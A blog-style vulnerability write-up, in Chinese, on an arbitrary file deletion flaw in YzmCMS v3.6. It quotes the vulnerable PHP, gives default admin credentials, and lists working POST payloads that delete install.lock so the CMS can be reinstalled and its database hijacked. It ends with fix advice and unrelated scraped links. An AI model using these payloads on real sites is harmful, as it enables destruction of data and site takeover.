0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

0x01 代码分析

1、文件位置: /application/member/controller/member.class.php 第118-132行中:

  1. public function edit(){
  2. $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;
  3. if(isset($_POST['dosubmit'])){
  4. if($_POST['password'] == ''){
  5. unset($_POST['password']);
  6. }else{
  7. $_POST['password'] = password($_POST['password']);
  8. }
  9. if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){
  10. 10.             if($_POST['userpic'] != ''){
  11. 11.                 $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
  12. 12.                 if(is_file($userpic)) @unlink($userpic);    //删除头像文件
  13. 13.                 $_POST['userpic'] = '';
  14. 14.             }
  15. 15.         }

这段函数中对提交的参数进行处理,当del_userpic满足条件,将userpic进行处理拼接到完整的路径中,然后使用unlink函数进行删除。参数Userpic可控,导致程序在实现上存在任意文件删除漏洞。

2、另外,这里应该是程序作者的一个逻辑缺陷,正常操作userpic并无法删除头像文件,因为这里在路径拼接处理上存在问题:

  1. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
  2. 等价于
  3. $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);

默认情况下,userpic提交的参数为/uploads/201801/18/180118105655915.jpg,这种情况下,“/”被过滤,组成的路径变成uploads20180118180118105655915.jpg,导致程序在实现上并无法正确删除头像文件。

3、如何绕过这种限制?

我们知道“/”被过滤,我们可以使用“\”,url编码%5C,绕过这种限制,提交

\\uploads\\201801\\18\\180118105655915.jpg,即可正常删除图片文件,这里应该是作者的一个逻辑缺陷,导致头像文件删除功能不正常。

0x02 漏洞利用

1、在网站根目录下,新建test.php作为测试文件:

2、利用管理员权限登录后台,可利用默认后台默认账号密码来猜解。

默认后台路径:http://127.0.0.1/admin/index/login.html

管理员默认账号密码均为:yzmcms

构造url连接,可成功删除根目录下的测试文件。

Payload:http://127.0.0.1/member/member/edit/userid/1.html

POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt

3、如何进一步利用?

思路:删除\\cache\\install.lock文件,进行cms重装,劫持网站数据库。

Payload:http://127.0.0.1//application/install/index.php

POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock

构造这样的请求,即可删除install.lock文件,然后访问

http://127.0.0.1/application/install/index.php 即可进行CMS重装。

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析的更多相关文章

  1. 【代码审计】XYHCMS V3.5任意文件删除漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  2. 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

      0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...

  3. 【代码审计】XIAOCMS_存在任意文件删除漏洞分析

      0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...

  4. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  5. 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  6. 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  7. 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  8. dzzoffice 任意文件删除漏洞分析

    dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){    $arr=array();    $ ...

  9. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

随机推荐

  1. css 类选择器结合元素选择器和多类选择器

    1.结合元素选择器 <p class="important">css</p> p.important {color: red} 匹配class属性包含imp ...

  2. normalize.css的使用

    normalize.css有下面这几个目的: 保护有用的浏览器默认样式而不是完全去掉它们一般化的样式:为大部分HTML元素提供修复浏览器自身的bug并保证各浏览器的一致性优化CSS可用性:用一些小技巧 ...

  3. .NET:Threading and Exceptions

    Do handle exceptions in threads. Unhandled exceptions in threads, even background threads, generally ...

  4. Android的Databinding-自定义生成类名字

    1. 在xml中,添加class的属性并设置为自定义名字<data class="com.example.CustomBinding"></data>2. ...

  5. 深入理解 Java try-with-resource 语法糖

    背景 众所周知,所有被打开的系统资源,比如流.文件或者Socket连接等,都需要被开发者手动关闭,否则随着程序的不断运行,资源泄露将会累积成重大的生产事故. 在Java的江湖中,存在着一种名为fina ...

  6. C# Dictionary, SortedDictionary, SortedList

    就我个人觉得Dictionary, SortedDictionary, SortedList 这几个类的使用是比较简单的,只要稍微花点时间在网上查找一点资料,然后在阅读以下源码就理解的很清楚了.为什么 ...

  7. 通俗理解word2vec

    https://www.jianshu.com/p/471d9bfbd72f 独热编码 独热编码即 One-Hot 编码,又称一位有效编码,其方法是使用N位状态寄存器来对N个状态进行编码,每个状态都有 ...

  8. 为什么用svg放弃了iconfont?

    svg替代iconfont的好处(无论是基于Vue.Jquery),都推荐svg http://www.woshipm.com/pd/463866.html svg图标库,svg图标在线制作 http ...

  9. hustoj升级

     sudo su  svn up hustoj-read-only cd hustoj-read-only cd core sudo ./make.sh 有冲突 全部回答r http://www.hu ...

  10. sed 多行处理详细总结

    在正常情况下,sed将待处理的行读入模式空间,脚本中的命令就一条接着一条的对该行进行处理,直到脚本执行完毕,然后该行被输出,模式空间请空:然后重复刚才的动作,文件中的新的一行被读入,直到文件处理完备. ...